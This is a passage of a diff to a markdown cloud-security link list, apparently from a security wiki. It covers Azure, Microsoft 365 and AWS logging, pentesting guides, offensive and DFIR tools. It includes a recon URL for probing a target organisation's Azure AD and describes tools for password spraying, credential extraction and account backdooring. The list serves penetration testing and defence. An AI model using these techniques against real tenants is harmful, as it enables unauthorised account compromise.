Edition](https://azure.microsoft.com/en-us/resources/azure-for-architects/) - Account may be required. +* [Azure Functions Succinctly](https://www.syncfusion.com/ebooks/azure-functions-succinctly) - Syncfusion ebook. + +### Azure CLI and Administration + +* [Azure CLI documentation](https://learn.microsoft.com/en-us/cli/azure/) +* [Azure CLI cheatsheet](https://github.com/ferhaty/azure-cli-cheatsheet) * _Operator Handbook: Azure CLI - pg. 39_ -* Misc Azure Commands - * Find if target org has Azure AD - * Insert the username of your target in the URL below. - * [https://login.microsoftonline.com/getuserrealm.srf?login=username@\.onmicrosoft.com\&xml=1](https://login.microsoftonline.com/getuserrealm.srf?login=username@%3Cvictimorganization%3E.onmicrosoft.com\&xml=1) - -### Azure AD - -* [https://docs.microsoft.com/en-us/azure/active-directory/](https://docs.microsoft.com/en-us/azure/active-directory/) -* [Attacking & Defending the Microsoft Cloud](https://adsecurity.org/wp-content/uploads/2019/08/2019-BlackHat-US-Metcalf-Morowczynski-AttackingAndDefendingTheMicrosoftCloud.pdf) -* [https://github.com/Cloud-Architekt/AzureAD-Attack-Defense](https://github.com/Cloud-Architekt/AzureAD-Attack-Defense) -* [https://aadinternals.com/osint/](https://aadinternals.com/osint/) - This Open-source Intelligence (OSINT) tool will extract openly available information for the given tenant. The tool is using APIs mentioned in my previous [blog post](https://aadinternals.com/post/just-looking/) and in MS Graph API [documentation](https://learn.microsoft.com/en-us/graph/api/tenantrelationship-findtenantinformationbytenantid). - -### Sentinel - The Azure SIEM - -* [What is Azure Sentinel? | Microsoft Docs](https://docs.microsoft.com/en-us/azure/sentinel/overview) -* [Azure Sentinel – Cloud-native SIEM | Microsoft Azure](https://azure.microsoft.com/en-us/services/azure-sentinel/?cdn=disable) -* [What's New: PowerShell+Azure Sentinel notebooks to supercharge your hunting and investigations! - Microsoft Tech Community](https://techcommunity.microsoft.com/t5/azure-sentinel/what-s-new-powershell-azure-sentinel-notebooks-to-supercharge/ba-p/1695969) -* [PowerShell Gallery | AzSentinel 0.6.8](https://www.powershellgallery.com/packages/AzSentinel/0.6.8) -* [https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries](https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries) -* [https://github.com/Azure/Azure-Sentinel-Notebooks](https://github.com/Azure/Azure-Sentinel-Notebooks) -* [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Azure-Sentinel-Performing-Additional-Security-Monitoring-of-High/ba-p/430740](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Azure-Sentinel-Performing-Additional-Security-Monitoring-of-High/ba-p/430740) -* [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Importing-Sigma-Rules-to-Azure-Sentinel/ba-p/657097](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Importing-Sigma-Rules-to-Azure-Sentinel/ba-p/657097) -* [https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/azure-sentinel-to-go-part1-a-lab-w-prerecorded-data-amp-a-custom/ba-p/1260191](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/azure-sentinel-to-go-part1-a-lab-w-prerecorded-data-amp-a-custom/ba-p/1260191) -* Azure Sentinel and Jupyter Notebooks - * [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/432921](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/432921) - * [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/483466](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/483466) - * [https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/561413](https://techcommunity.microsoft.com/t5/Azure-Sentinel/Security-Investigation-with-Azure-Sentinel-and-Jupyter-Notebooks/ba-p/561413) -* KQL - Kusto Query Language and Azure Sentinel - * [https://docs.microsoft.com/en-us/users/register?redirectUrl=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fazure%2Fdata-explorer%2Fkql-quick-reference](https://docs.microsoft.com/en-us/users/register?redirectUrl=https%3A%2F%2Fdocs.microsoft.com%2Fen-us%2Fazure%2Fdata-explorer%2Fkql-quick-reference) - * [https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries](https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries) - * [https://github.com/marcusbakker/KQL/blob/master/kql\_cheat\_sheet.pdf](https://github.com/marcusbakker/KQL/blob/master/kql\_cheat\_sheet.pdf) - * [https://azure.microsoft.com/en-us/blog/ml-powered-detections-with-kusto-query-language-in-azure-sentinel/](https://azure.microsoft.com/en-us/blog/ml-powered-detections-with-kusto-query-language-in-azure-sentinel/) - * [https://docs.microsoft.com/en-us/azure/data-explorer/kqlmagic](https://docs.microsoft.com/en-us/azure/data-explorer/kqlmagic) - -### Azure Defender - -* [Overview of Azure Defender and the available plans | Microsoft Docs](https://docs.microsoft.com/en-us/azure/security-center/azure-defender) -* [Azure Defender | Microsoft Azure](https://azure.microsoft.com/en-us/services/azure-defender/?cdn=disable) [Detecting Microsoft 365 and Azure Active Directory Backdoors | FireEye Inc](https://www.fireeye.com/blog/threat-research/2020/09/detecting-microsoft-365-azure-active-directory-backdoors.html) -* [Azure Security Basics: Log Analytics, Security Center, & Sentinel – Defensive Origins](https://defensiveorigins.com/azure-security-basics-log-analytics-security-center-sentinel/) -* [https://github.com/Azure/Microsoft-Defender-for-Cloud](https://github.com/Azure/Microsoft-Defender-for-Cloud) +* Find whether a target organization has Azure AD: + * `https://login.microsoftonline.com/getuserrealm.srf?login=username@.onmicrosoft.com&xml=1` +* [Azure Active Directory documentation](https://learn.microsoft.com/en-us/azure/active-directory/) +* [Attacking and Defending the Microsoft Cloud](https://adsecurity.org/wp-content/uploads/2019/08/2019-BlackHat-US-Metcalf-Morowczynski-AttackingAndDefendingTheMicrosoftCloud.pdf) +* [AzureAD-Attack-Defense](https://github.com/Cloud-Architekt/AzureAD-Attack-Defense) + +### Microsoft Sentinel and KQL + +Microsoft Sentinel was formerly named Azure Sentinel. Keep cloud SIEM architecture and logging under Security Logging; keep KQL references in Blue Defense. + +* [Microsoft Sentinel overview](https://learn.microsoft.com/en-us/azure/sentinel/overview) +* [Microsoft Sentinel service page](https://azure.microsoft.com/en-us/products/microsoft-sentinel/) +* [Microsoft Sentinel hunting queries](https://github.com/Azure/Azure-Sentinel/tree/master/Hunting%20Queries) +* [Microsoft Sentinel notebooks](https://github.com/Azure/Azure-Sentinel-Notebooks) +* [Microsoft Sentinel To-Go](https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/azure-sentinel-to-go-part1-a-lab-w-prerecorded-data-amp-a-custom/ba-p/1260191) +* [KQL quick reference](https://learn.microsoft.com/en-us/azure/data-explorer/kql-quick-reference) +* [KQL cheat sheet](https://github.com/marcusbakker/KQL/blob/master/kql_cheat_sheet.pdf) +* [Kqlmagic](https://learn.microsoft.com/en-us/azure/data-explorer/kqlmagic) +* [AzSentinel PowerShell module](https://www.powershellgallery.com/packages/AzSentinel) - Historical community module; verify current maintenance before building workflows around it. + +### Microsoft Defender for Cloud + +Azure Security Center and Azure Defender are now part of Microsoft Defender for Cloud. + +* [Microsoft Defender for Cloud overview](https://learn.microsoft.com/en-us/azure/defender-for-cloud/defender-for-cloud-introduction) +* [Microsoft Defender for Cloud repository](https://github.com/Azure/Microsoft-Defender-for-Cloud) +* [Azure security basics: Log Analytics, Security Center, and Sentinel](https://defensiveorigins.com/azure-security-basics-log-analytics-security-center-sentinel/) - Older naming, still useful as historical context. +* [Detecting Microsoft 365 and Azure Active Directory backdoors](https://www.mandiant.com/resources/blog/detecting-microsoft-365-azure-active-directory-backdoors) - FireEye/Mandiant research. ### Azure Pentesting Guides -* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md) - Huge collection of tools, commands, and methodology. -* [https://pentestbook.six2dez.com/enumeration/cloud/azure](https://pentestbook.six2dez.com/enumeration/cloud/azure) - Great personal gitbook with tools, commands and steps for enumerating and exploiting Azure. -* [https://github.com/LennonCMJ/pentest\_script/blob/master/Azure\_Testing.md](https://github.com/LennonCMJ/pentest\_script/blob/master/Azure\_Testing.md) - Guide and reference documents for testing Azure security. -* Attacking Azure AD - * [AZURE AD INTRODUCTION FOR RED TEAMERS](https://www.synacktiv.com/en/publications/azure-ad-introduction-for-red-teamers.html) - * [I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Directory](https://www.slideshare.net/DirkjanMollema/im-in-your-cloud-reading-everyones-email-hacking-azure-ad-via-active-directory) - * [Utilizing Azure Services for Red Team Engagements](https://blog.netspi.com/utiilzing-azure-for-red-team-engagements/) - * [Blue Cloud of Death: Red Teaming Azure](https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1) - * [Azure AD Connect for Red Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/) - * [Red Teaming Microsoft: Part 1 – Active Directory Leaks via Azure](https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/) - * [How to create a backdoor to Azure AD](https://o365blog.com/post/aadbackdoor/) - * [https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html](https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html) - * [Azurehound Cypher Cheatsheet](https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/) - * [Keys of the kingdom: Playing God as Global Admin](https://o365blog.com/post/admin/) - * [https://danielchronlund.com/2022/01/07/the-attackers-guide-to-azure-ad-conditional-access/](https://danielchronlund.com/2022/01/07/the-attackers-guide-to-azure-ad-conditional-access/) -* Check for open blobs - * [https://www.youtube.com/watch?v=AWhag2K3AS8](https://www.youtube.com/watch?v=AWhag2K3AS8) - * [https://xapax.github.io/security/#attacking\_cloud\_environment/attacking\_azure/check\_for\_blobs/](https://xapax.github.io/security/#attacking\_cloud\_environment/attacking\_azure/check\_for\_blobs/) -* Offensive Techniques - * [Abusing Azure AD SSO with the Primary Refresh Token](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/): Most corporate devices have Primary Refresh Tokens - long term tokens stored on your laptop or other AD connected resources - for Single Sign On (SSO) against on-prem and Azure AD connected resources. See Dirk-jan Mollema's blog goes over abusing these tokens, which you can access if you have code execution on a target or on your laptop that is Azure AD joined. - * [Attacking Azure Cloud Shell](https://blog.netspi.com/attacking-azure-cloud-shell/) by [Karl Fosaaen](https://twitter.com/kfosaaen): Leveraging Azure Cloud Shell storage files with subscription contributor permissions to perform cross-account command execution and privilege escalation. - * [Nuking all Azure Resource Groups under all Azure Subscriptions](https://kmcquade.com/2020/11/nuking-all-azure-resource-groups-under-all-azure-subscriptions/) by [Kinnaird McQuade(@kmcquade3)](https://twitter.com/kmcquade3): How to abuse Azure Resource hierarchy and tenant-wide god-mode Service Principals to nuke an entire Azure environment. - * [Privilege Escalation and Lateral Movement on Azure](https://medium.com/xm-cyber/privilege-escalation-and-lateral-movement-on-azure-part-1-47e128cfdc06) by [Hila Cohen (@hilaco10)](https://twitter.com/hilaco10): some techniques for how a red team can gain a foothold in an Azure environment, escalate their privileges, and move laterally inside Azure infrastructure by using the Azure RBAC module and common Azure misconfigurations. - * [Privilege Escalation in Azure AD](https://emptydc.com/2020/12/10/privilege-escalation-in-azure-ad/) by [Jan Geisbauer (@janvonkirchheim)](https://twitter.com/janvonkirchheim): a breakdown of how Azure security principals (aka Enterprise applications) vs application objects (aka application registrations) and their associated permissions can be abused to impersonate an application. - * [Privilege Escalation and Lateral Movement on Azure](https://medium.com/xm-cyber/privilege-escalation-and-lateral-movement-on-azure-part-1-47e128cfdc06): some techniques for how a red team can gain a foothold in an Azure environment, escalate their privileges, and move laterally inside Azure infrastructure by using the Azure RBAC module and common Azure misconfigurations. - * [https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48?gi=89b4a351f786](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48?gi=89b4a351f786) - * [https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html](https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html) - * [https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html](https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html) - * [https://www.inversecos.com/2021/09/backdooring-office-365-and-active.html](https://www.inversecos.com/2021/09/backdooring-office-365-and-active.html) - * [Office365 Attacks: Bypassing MFA, Achieving Persistence and More - Part I](https://www.inversecos.com/2021/09/office365-attacks-bypassing-mfa.html)\\ - * [Spoofing Microsoft 365 Like It’s 1995 - Black Hills Information Security](https://www.blackhillsinfosec.com/spoofing-microsoft-365-like-its-1995/) -* _Operator Handbook: Azure\_Exploit- pg. 44_ - -### Tools +* [PayloadsAllTheThings - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md) +* [Pentest Book - Azure](https://pentestbook.six2dez.com/enumeration/cloud/azure) +* [Azure Testing guide](https://github.com/LennonCMJ/pentest_script/blob/master/Azure_Testing.md) +* [Azure AD Introduction for Red Teamers](https://www.synacktiv.com/en/publications/azure-ad-introduction-for-red-teamers.html) +* [Hacking Azure AD via Active Directory](https://www.slideshare.net/DirkjanMollema/im-in-your-cloud-reading-everyones-email-hacking-azure-ad-via-active-directory) +* [Utilizing Azure Services for Red Team Engagements](https://blog.netspi.com/utiilzing-azure-for-red-team-engagements/) - Older article; URL typo is preserved by the source. +* [Blue Cloud of Death: Red Teaming Azure](https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1) +* [Azure AD Connect for Red Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/) +* [Red Teaming Microsoft: AD leaks via Azure](https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/) +* [How to create a backdoor to Azure AD](https://o365blog.com/post/aadbackdoor/) +* [AzureHound collection](https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html) + * [AzureHound Cypher Cheatsheet](https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/) +* [Keys of the Kingdom: Playing God as Global Admin](https://o365blog.com/post/admin/) +* [The Attacker's Guide to Azure AD Conditional Access](https://danielchronlund.com/2022/01/07/the-attackers-guide-to-azure-ad-conditional-access/) +* [Check for Azure blobs](https://xapax.github.io/security/#attacking_cloud_environment/attacking_azure/check_for_blobs/) + * [Video walkthrough](https://www.youtube.com/watch?v=AWhag2K3AS8) +* [Abusing Azure AD SSO with the Primary Refresh Token](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) +* [Attacking Azure Cloud Shell](https://blog.netspi.com/attacking-azure-cloud-shell/) +* [Nuking all Azure Resource Groups under all Azure Subscriptions](https://kmcquade.com/2020/11/nuking-all-azure-resource-groups-under-all-azure-subscriptions/) +* [Privilege Escalation and Lateral Movement on Azure](https://medium.com/xm-cyber/privilege-escalation-and-lateral-movement-on-azure-part-1-47e128cfdc06) +* [Privilege Escalation in Azure AD](https://emptydc.com/2020/12/10/privilege-escalation-in-azure-ad/) +* [Azure privilege escalation via Azure API permissions abuse](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48?gi=89b4a351f786) +* [Making clouds rain RCE in Office 365](https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html) +* [Backdooring Azure applications](https://www.inversecos.com/2021/10/how-to-backdoor-azure-applications-and.html) +* [Backdooring Office 365 and Active Directory](https://www.inversecos.com/2021/09/backdooring-office-365-and-active.html) +* [Office 365 attacks: bypassing MFA and persistence](https://www.inversecos.com/2021/09/office365-attacks-bypassing-mfa.html) +* [Spoofing Microsoft 365 Like It's 1995](https://www.blackhillsinfosec.com/spoofing-microsoft-365-like-its-1995/) +* _Operator Handbook: Azure_Exploit - pg. 44_ + +### Azure and Microsoft 365 Tools #### Offensive -* Recon and Enumeration - * [BlobHunter](https://github.com/cyberark/BlobHunter) - An opensource tool for scanning Azure blob storage accounts for publicly opened blobs. - * [o365recon](https://github.com/nyxgeek/o365recon) - Script to retrieve information via O365 with a valid cred - * [Get-AzureADPSPermissionGrants.ps1](https://gist.github.com/psignoret/9d73b00b377002456b24fcb808265c23) **-** Lists delegated permission grants (OAuth2PermissionGrants) and application permissions grants (AppRoleAssignments) granted to an app. -* Exploitation frameworks - * [PowerZure](https://github.com/hausec/PowerZure) - PowerZure is a PowerShell project created to assess and exploit resources within Microsoft’s cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance **and** exploitation of Azure, AzureAD, and the associated resources. - * [Attacking Azure, Azure AD, and Introducing PowerZure – root@Hausec](https://hausec.com/2020/01/31/attacking-azure-azure-ad-and-introducing-powerzure/) - * [https://www.youtube.com/watch?v=AWhag2K3AS8](https://www.youtube.com/watch?v=AWhag2K3AS8) - * [MicroBurst: A PowerShell Toolkit for Attacking Azure](https://github.com/NetSPI/MicroBurst) - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. - * [lava](https://github.com/mattrotlevi/lava) - Microsoft Azure Exploitation Framework - * [XMGoat](https://www.xmcyber.com/xmgoat-an-open-source-pentesting-tool-for-azure/) - An open source tool with the purpose of teaching penetration testers, red teamers, security consultants, and cloud experts how to abuse different misconfigurations within the Azure environment. In this way, you learn about common Azure security issues. -* Azure AD Exploitation tools - * [AADInternals](https://github.com/Gerenios/AADInternals) - AADInternals is PowerShell module for administering Azure AD and Office 365 - * [Stormspotter ](https://github.com/Azure/Stormspotter)- Azure Red Team tool for graphing Azure and Azure Active Directory objects - * [ROADtools](https://github.com/dirkjanm/ROADtools) - ROADtools is a framework to interact with Azure AD. - * [adconnectdump](https://github.com/fox-it/adconnectdump) - Azure AD Connect password extraction - * [TeamFiltration](https://github.com/Flangvik/TeamFiltration) - TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts -* For Password Spraying - * First check if the accounts is valid. [https://github.com/LMGsec/o365creeper](https://github.com/LMGsec/o365creeper) - * Perform password spraying attack: [MailSniper](https://github.com/dafthack/MailSniper) - MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.) - * [o365spray](https://github.com/0xZDH/o365spray) - o365spray ia a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365). - -#### Defensive - -* Logging and Alerting - * [Azure security logging and auditing](https://docs.microsoft.com/en-us/azure/security/fundamentals/log-audit): Azure provides a wide array of configurable security auditing and logging options to help you identify gaps in your security policies and mechanisms. - * [Azure Security Center - Alerts Reference Guide](https://docs.microsoft.com/en-us/azure/security-center/alerts-reference): This article lists the security alerts you might get from Azure Security Center and any Azure Defender plans you've enabled. -* Security Auditing and Hardening - * [CRT](https://github.com/CrowdStrike/CRT) - Crowdstrike Reporting Tool for Azure: This tool queries the following configurations in the Azure AD/O365 tenant which can shed light on hard-to-find permissions and configuration settings in order to assist organizations in securing these environments. - * [AzureADRecon](https://github.com/adrecon/AzureADRecon) - AzureADRecon is a tool which gathers information about the Azure Active Directory and generates a report which can provide a holistic picture of the current state of the target environment. - * [ROADTools](https://github.com/dirkjanm/ROADtools) - ROADtools is a framework to interact with Azure AD. It currently consists of a library (roadlib) and the ROADrecon Azure AD exploration tool. - * [azucar](https://github.com/nccgroup/azucar) - Security auditing tool for Azure environments - * [AzureADAssessment](https://github.com/AzureAD/AzureADAssessment) - Tooling for assessing an Azure AD tenant state and configuration -* DFIR - * [AzureHunter](https://github.com/darkquasar/AzureHunter) - A Cloud Forensics Powershell module to run threat hunting playbooks on data from Azure and O365 - * [https://www.kitploit.com/2021/11/azurehunter-cloud-forensics-powershell.html?m=1](https://www.kitploit.com/2021/11/azurehunter-cloud-forensics-powershell.html?m=1) - * [https://azurehunter.readthedocs.io/](https://azurehunter.readthedocs.io/) - * [Sparrow](https://github.com/cisagov/Sparrow) - Sparrow.ps1 was created by CISA's Cloud Forensics team to help detect possible compromised accounts and applications in the Azure/m365 environment. - * [hawk](https://github.com/T0pCyber/hawk) - Powershell Based tool for gathering information related to O365 intrusions and potential Breaches - * [https://cloudforensicator.com/](https://cloudforensicator.com/) - * [DFIR-O365RC](https://github.com/ANSSI-FR/DFIR-O365RC) - The DFIR-O365RC PowerShell module is a set of functions that allow the DFIR analyst to collect logs relevant for Office 365 Business Email Compromise investigations. - * [Azure-AD-Incident-Response-PowerShell-Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) - The Azure Active Directory Incident Response PowerShell module provides a number of tools, developed by the Azure Active Directory Product Group in conjunction with the Microsoft Detection and Response Team (DART), to assist in compromise response. - * [https://www.powershellgallery.com/packages/AzureADIncidentResponse/](https://www.powershellgallery.com/packages/AzureADIncidentResponse/) - -## **AWS -** Amazon Cloud Services - -### Basics - -* Learn AWS - * [https://github.com/jassics/security-study-plan/blob/main/aws-security-study-plan.md](https://github.com/jassics/security-study-plan/blob/main/aws-security-study-plan.md) -* Reference Docs - * [https://docs.aws.amazon.com/](https://docs.aws.amazon.com/) - * [https://github.com/awsdocs](https://github.com/awsdocs) - * [https://ip-ranges.amazonaws.com/ip-ranges.json](https://ip-ranges.amazonaws.com/ip-ranges.json) - AWS IP Ranges - * [amazon-ec2-user-guide](https://github.com/toniblyx/amazon-ec2-user-guide) - The open source version of the Amazon EC2 User Guide for Linux. - * [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework) (PDF, HTML) - * [https://github.com/aws-samples/aws-security-reference-architecture-examples](https://github.com/aws-samples/aws-security-reference-architecture-examples) -* Best practices and hardening - * [https://www.cloudconformity.com/knowledge-base/aws/](https://www.cloudconformity.com/knowledge-base/aws/) - AWS Best Pratices - * [https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-cis.html](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-cis.html) -* Misc Articles - * [https://expel.io/blog/finding-evil-in-aws/](https://expel.io/blog/finding-evil-in-aws/) - * [https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/](https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/) -* _Operator Handbook: AWS Terms- pg. 35_ +* [BlobHunter](https://github.com/cyberark/BlobHunter) - Scans Azure blob storage accounts for public blobs. +* [o365recon](https://github.com/nyxgeek/o365recon) - Retrieves O365 information with valid credentials. +* [Get-AzureADPSPermissionGrants.ps1](https://gist.github.com/psignoret/9d73b00b377002456b24fcb808265c23) - Lists delegated and application permission grants. +* [PowerZure](https://github.com/hausec/PowerZure) - Azure and Azure AD assessment and exploitation framework. + * [Introducing PowerZure](https://hausec.com/2020/01/31/attacking-azure-azure-ad-and-introducing-powerzure/) +* [MicroBurst](https://github.com/NetSPI/MicroBurst) - Azure discovery, auditing, and post-exploitation PowerShell toolkit. +* [lava](https://github.com/mattrotlevi/lava) - Microsoft Azure exploitation framework. +* [XMGoat](https://www.xmcyber.com/xmgoat-an-open-source-pentesting-tool-for-azure/) - Azure misconfiguration lab. +* [AADInternals](https://github.com/Gerenios/AADInternals) - Azure AD and Microsoft 365 administration and assessment module. +* [Stormspotter](https://github.com/Azure/Stormspotter) - Graphs Azure and Azure AD objects for red-team analysis. +* [ROADtools](https://github.com/dirkjanm/ROADtools) - Azure AD framework including ROADrecon. +* [adconnectdump](https://github.com/fox-it/adconnectdump) - Azure AD Connect password extraction. +* [TeamFiltration](https://github.com/Flangvik/TeamFiltration) - Enumerates, sprays, exfiltrates, and backdoors O365/AAD accounts. +* Microsoft 365 password spraying belongs with Password Attacks: + +{% content-ref url="red-offensive/testing-methodology/password-attacks.md" %} +[password-attacks.md](red-offensive/testing-methodology/password-attacks.md) +{% endcontent-ref %} + +#### Defensive and DFIR + +* [CRT](https://github.com/CrowdStrike/CRT) - CrowdStrike Reporting Tool for Azure. +* [AzureADRecon](https://github.com/adrecon/AzureADRecon) - Azure AD tenant reporting. +* [azucar](https://github.com/nccgroup/azucar) - Security auditing tool for Azure environments. +* [AzureADAssessment](https://github.com/AzureAD/AzureADAssessment) - Azure AD tenant assessment tooling. +* [AzureHunter](https://github.com/darkquasar/AzureHunter) - Azure and O365 threat hunting playbooks. + * [AzureHunter documentation](https://azurehunter.readthedocs.io/) +* [Sparrow](https://github.com/cisagov/Sparrow) - CISA cloud forensics tool for M365/Azure account and application compromise. +* [Hawk](https://github.com/T0pCyber/hawk) - PowerShell collection tool for O365 intrusion investigation. + * [Cloud Forensicator](https://cloudforensicator.com/) +* [DFIR-O365RC](https://github.com/ANSSI-FR/DFIR-O365RC) - Collects Microsoft 365 logs for Business Email Compromise investigations. +* [Azure AD Incident Response PowerShell Module](https://github.com/AzureAD/Azure-AD-Incident-Response-PowerShell-Module) + * [PowerShell Gallery package](https://www.powershellgallery.com/packages/AzureADIncidentResponse/) + +## AWS - Amazon Web Services + +### Basics + +* [AWS security study plan](https://github.com/jassics/security-study-plan/blob/main/aws-security-study-plan.md) +* [AWS documentation](https://docs.aws.amazon.com/) +* [AWS documentation GitHub organization](https://github.com/awsdocs) +* [AWS IP ranges JSON](https://ip-ranges.amazonaws.com/ip-ranges.json) +* [amazon-ec2-user-guide](https://github.com/toniblyx/amazon-ec2-user-guide) +* [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework) +* [AWS Security Reference Architecture examples](https://github.com/aws-samples/aws-security-reference-architecture-examples) +* [AWS Security Hub CIS standards](https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-cis.html) +* [Finding evil in AWS](https://expel.io/blog/finding-evil-in-aws/) +* [Generating AWS security signals from CloudTrail](https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/) +* _Operator Handbook: AWS Terms - pg. 35_ ### AWS CLI -* [https://aws.amazon.com/cli/](https://aws.amazon.com/cli/) -* [https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html) -* [https://github.com/eon01/AWS-CheatSheet](https://github.com/eon01/AWS-CheatSheet) +* [AWS CLI](https://aws.amazon.com/cli/) +* [AWS CLI getting started](https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html) +* [AWS CheatSheet](https://github.com/eon01/AWS-CheatSheet) * _Operator Handbook: AWS CLI - pg. 20_ ### AWS Pentesting Guides -* [https://aws.amazon.com/security/penetration-testing/](https://aws.amazon.com/security/penetration-testing/) -* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md) -* [AWS IAM explained for Red and Blue teams | by Security Shenanigans](https://medium.com/bugbountywriteup/aws-iam-explained-for-red-and-blue-teams-2dda8b20fbf7) -* [Penetration Testing Amazon Web Services (AWS) - Rhino Security Labs](https://rhinosecuritylabs.com/penetration-testing/penetration-testing-aws-storage/) -* [AWS Penetration Testing Part 1. S3 Buckets - Virtue Security](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) -* [AWS Penetration Testing Part 2. S3, IAM, EC2 - Virtue Security](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) -* [https://pentestbook.six2dez.com/enumeration/cloud/aws](https://pentestbook.six2dez.com/enumeration/cloud/aws) -* [https://www.getastra.com/blog/security-audit/aws-penetration-testing/](https://www.getastra.com/blog/security-audit/aws-penetration-testing/) -* _Operator Handbook: AWS Tips and tricks- pg. 20_ +* [AWS Customer Support Policy for Penetration Testing](https://aws.amazon.com/security/penetration-testing/) +* [PayloadsAllTheThings - AWS Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md) +* [AWS IAM explained for Red and Blue teams](https://medium.com/bugbountywriteup/aws-iam-explained-for-red-and-blue-teams-2dda8b20fbf7) +* [AWS S3 penetration testing](https://rhinosecuritylabs.com/penetration-testing/penetration-testing-aws-storage/) - Rhino Security Labs. +* [AWS Penetration Testing Part 1: S3 Buckets](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) +* [AWS Penetration Testing Part 2: S3, IAM, EC2](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) +* [Pentest Book - AWS](https://pentestbook.six2dez.com/enumeration/cloud/aws) +* [AWS penetration testing guide](https://www.getastra.com/blog/security-audit/aws-penetration-testing/) +* _Operator Handbook: AWS Tips and Tricks - pg. 20_ * _The Hacker Playbook 3: Cloud Recon and Enumeration - pg. 37_ -### AWS Services and their Attack Surfaces - -| AWS Service | Attack Surface | -| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| EC2 | EC2 does in fact have a public attack surface similar to traditional physical infrastructure. Vulnerabilities that affect the OS will manifest exactly as they would on their hardware based counterpart. Things start to differ when you deal with anything that interacts with the local network or system. A vulnerability allowing command execution may allow an attacker to move laterally if configured with 